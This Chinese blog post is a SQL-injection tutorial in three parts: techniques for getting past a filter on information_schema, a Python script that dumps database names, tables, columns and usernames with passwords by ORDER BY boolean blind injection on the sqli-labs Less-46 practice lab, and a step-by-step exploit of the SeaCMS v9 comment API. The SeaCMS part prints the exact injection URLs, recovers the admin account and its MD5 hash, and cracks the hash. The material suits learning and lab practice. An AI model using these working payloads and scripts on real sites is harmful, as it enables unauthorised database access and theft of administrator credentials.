过滤information_schema解决方案+order by 布尔盲注+seacmsv9 SQL注入漏洞

一.过滤information_schema解决方案:

1. 替代系统表或视图

如果 information_schema 被直接过滤,可以使用其他系统表或视图来获取元数据,但有版本限制

(1) 使用 sys 数据库(MySQL 5.7+)

--获取所有表名
 
SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema = DATABASE();
 
--获取所有列名
 
SELECT table_name, column_name FROM sys.schema_columns WHERE table_schema = DATABASE();

2.编码混淆绕过
(1)URL编码

将 information_schema 转换为 URL 编码

SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE();

(2) Unicode 编码

SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE();

3. 关键字分割

通过空格、换行符或特殊字符分割 information_schema:

SELECT table_name FROM information/**/_schema.tables WHERE table_schema=DATABASE();

二,SQL注入之ORDER BY注入

1.ORDER BY子句的用法

在MySQL中支持使用ORDER BY语句对查询结果集进行排序处理。使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下:

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

order by还支持多个字段自定义排序,通过逗号隔开,但只能在数字之间进行自定义排序,若选择字符类型则会根据第一个列名的排序规则进行排序。

2.order by 布尔盲注

环境介绍:
sqlilabs靶场第46关,参数sort传入id,如下

参数sort传入username,如下


 看源码可知,sort前面是order by,通过sort传入的字段排序

布尔盲注

于是用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的
值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)
注入,具体代码如下

import requests
from bs4 import BeautifulSoup
 
def get_username(resp):
    soup = BeautifulSoup(resp,'html.parser')
    username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
    return username
 
def inject_database_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost:81/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_table_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost:81/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
                information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_column_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost:81/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
                information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
def inject_data_boolen():
    tables = ''
    i = 1
    while True:
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://localhost:81/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
                from users),{i},1))>{mid},id,username) -- "
            resp = requests.get(url)
            if 'Dumb' == get_username(resp.text):
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        if mid == 32:
            break
        tables += chr(mid)
        i += 1
        print(tables)
 
if __name__ == '__main__':
    # inject_database_boolen()
    # inject_table_boolen()
    # inject_column_boolen()
    inject_data_boolen()

注入结果如下

三,seacmsv9 SQL注入漏洞,实现注入管理员和密码

seacms漏洞介绍海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采 用的是 php5.X+mysql 的架构,seacmsv9漏洞文件:./comment/api/index.php,漏洞参数:$rlist

漏洞绕过

由于seacms开源,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为
sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

经过源码分析,使用以下语句注入(limit避免管理员有多个,导致SQL语句报错):
name:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
第一次尝试:
结果如下:

并没有成功,使用Wireshark抓包发现最终执行的SQL为:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

在mysql数据库中执行这个SQL语句,并没有报错报出管理员姓名

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

而下面修改为查询database()却能报出数据库名

经过查阅资料,发现是前面sea_comment表没数据(上图),导致并没有执行报错中的
查询语句,而database()能执行,应该是优先执行的问题,而sea_comment表中应该是
有数据的,于是就插入了一条数据,但发现还是没有执行,于是又插入了一条数据,发
现可以执行了

 最后,再次在地址栏尝试注入语句,成功注入出账号为admin

password:
http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
密码同理

注入密码为23a7bbd73250516f069d,可以看出是经过md5加密的,于是到https://cmd5.com/
解密,得到密码为admin123
最后得到管理员账号为admin,密码为admin123
  

seacms海洋cms影视管理系统 v9.1 更新日志 更新日期:2019年2月1日 v9.1 优化:服务器开启OPcache时后台设置兼容性 优化:视频编辑时剧情分类显示方式 优化:剧情分类缓存项 seacms海洋影视管理系统简介 海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选,只需5分钟即可建立一个海量的视频讯息的行业网站。 海洋cms采用PHP MYSQL架构,原生PHP代码带来卓越的访问速度和负载能力免去您的后顾之优。海洋cms支持一键转换原max的模板和数据,实现网站无缝迁移到新平台。众多人性化功能设计,超前定时执行任务,让您处理数据得心应手,您只需要专心做内容运营,其它的交给我们。 为符合SEO要求开发大量功能,比如百度结构化数据生成,搜索引擎地图等。全新设计的专题管理,同时支持按分类 扩展分类 剧情分类三种分类模式组合,让网站内容与众不同。简单易用丰富的模板标签,方便网站模板设计制作,让网站更显专业。 海洋cms是基于PHP MySql技术开发的开源CMS,完全开源 、没有任何加密代码,强劲功能、卓越性能、安全健壮。超级易用、模板众多、插件齐全、资源丰富。构架稳健,平滑升级。 seacms海洋影视管理系统前台页面 seacms海洋影视管理系统后台管理 后台路径:域名//admin 用户名与密码:admin(安装时可设置) 后台页面:  相关阅读 同类推荐:站长常用源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值